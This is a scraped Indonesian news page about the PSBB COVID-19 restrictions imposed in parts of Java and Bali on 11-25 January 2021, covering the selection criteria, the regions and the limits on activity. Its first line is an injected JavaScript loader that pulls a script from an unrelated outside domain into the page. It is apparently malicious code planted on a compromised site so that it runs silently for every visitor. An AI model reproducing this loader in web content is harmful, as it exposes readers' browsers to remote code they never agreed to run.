(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

PSBB Jawa-Bali Baru Diberlakukan 11-25 Januari, Ini Alasannya


KANALKALIMANTAN.COM – Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional (KPCPEN) Airlangga Hartarto mengungkapkan alasan pemerintah pusat baru menerapkan Pembatasan Sosial Berskala Besar atau PSBB di sebagian daerah di Jawa-Bali pada 11-25 Januari 2021.

Airlangga menyebut berdasarkan pengalaman pasca libur panjang sebelumnya, lonjakan kasus akan terjadi pada dua pekan setelah libur berakhir, sehingga pemerintah memilih tanggal 11-25 Januari.

“Kenapa tanggal 11-25 karena kita baru saja libur Natal dan Tahun Baru, berdasarkan pengalaman dan data yang ada habis libur besar itu ada kenaikan 25-30 persen, kalau kita hitung dari Tahun Baru itu jatuhnya pertengahan bulan Januari,” kata Airlangga dalam jumpa pers virtual, Kamis (7/1/2020).

Menteri Koordinator Bidang Perekonomian itu juga menegaskan bahwa PSBB hanya akan berlaku di beberapa daerah di Jawa-Bali, bukan keseluruhan pulau Jawa dan Bali.

Pemerintah pusat sudah menentukan berbagai daerah yang akan menerapkan PSBB dengan mengacu pada empat kriteria kondisi pandemi yang ditetapkan pemerintah.

Empat kriteria tersebut antara lain; Tingkat Kematian di atas rata-rata nasional, tingkat kesembuhan di bawah rata-rata nasional, tingkat kasus aktif di atas rata-rata nasional, dan tingkat keterisian rumah sakit (BOR) untuk ICU dan isolasi di atas 70 persen.

“Jadi sekali lagi ini tidak di seluruh wilayah (Jawa-Bali), tapi di kota dan kabupaten yang memenuhi empat kriteria yang telah disebutkan tadi,” ucapnya.

Berikut daerah di Jawa-Bali yang diberlakukan PSBB:

  1. DKI Jakarta: seluruh wilayah DKI Jakarta,
  2. Jawa Barat: Bogor, Kabupaten Bogor, Depok, Bekasi, Kabupaten Bekasi, Cimahi, Wilayah Bandung Raya
  3. Banten: Tangerang, Kabupaten Tangerang, Tangerang Selatan dan Tangerang Raya.
  4. Jawa Tengah: Semarang Raya, Solo Raya dan Banyumas Raya.
  5. DI. Yogyakarta: Kota Yogyakarta, Kabupaten Bantul, Kabupaten Gunung Kidul, Kabupaten Sleman dan Kulon Progo.
  6. Jawa Timur: Kota Malang Raya dan Surabaya Raya.
  7. Bali: Kota Denpasar dan Kabupaten Badung.

Adapun pembatasan aktivitas meliputi pembatasan di tempat kerja dengan work from home sebanyak 75 persen dengan melakukan protokol kesehatan dengan ketat.

Kemudian kegiatan belajar-mengajar seluruhnya melalui daring. Sektor esensial berkaitan kebutuhan pokok tetap beroperasi 100 persen dengan pengaturan jam operasional dan kapasitas serta penerapan protokol kesehatan ketat.

Pembatasan jam buka kegiatan di pusat perbelanjaan hingga pukul 19.00 WIB. Makan dan minum di tempat maksimal 25 persen dari kapasitas tempat, dan pemesanan take away atau delivery tetap diizinkan.

Selanjutnya kegiatan konstruksi tetap diizinkan 100 persen dengan penerapan protokol kesehatan ketat.

Mengizinkan tempat ibadah melakukan pembatasan sebesar 50 persen dengan penerapan protokol kesehatan ketat, fasilitas umum dan kegiatan sosial/budaya dihentikan sementara dan kapasitas serta jam operasional moda transportasi diatur.

Sebagai informasi, pandemi COVID-19 telah menginfeksi 788.402 orang di Indonesia sejak Maret 2020, 112.593 di antaranya masih dalam perawatan, 652.513 orang sembuh, dan 23.296 jiwa meninggal dunia.(Suara)

Editor : Suara 


Al Ghifari

Recent Posts

Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More

2 jam ago

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

3 jam ago

Bupati Lepas TP PKK Banjar Wakil Kalsel ke Parade Budaya Nusantara

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More

4 jam ago

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

4 jam ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

7 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

7 jam ago

This website uses cookies.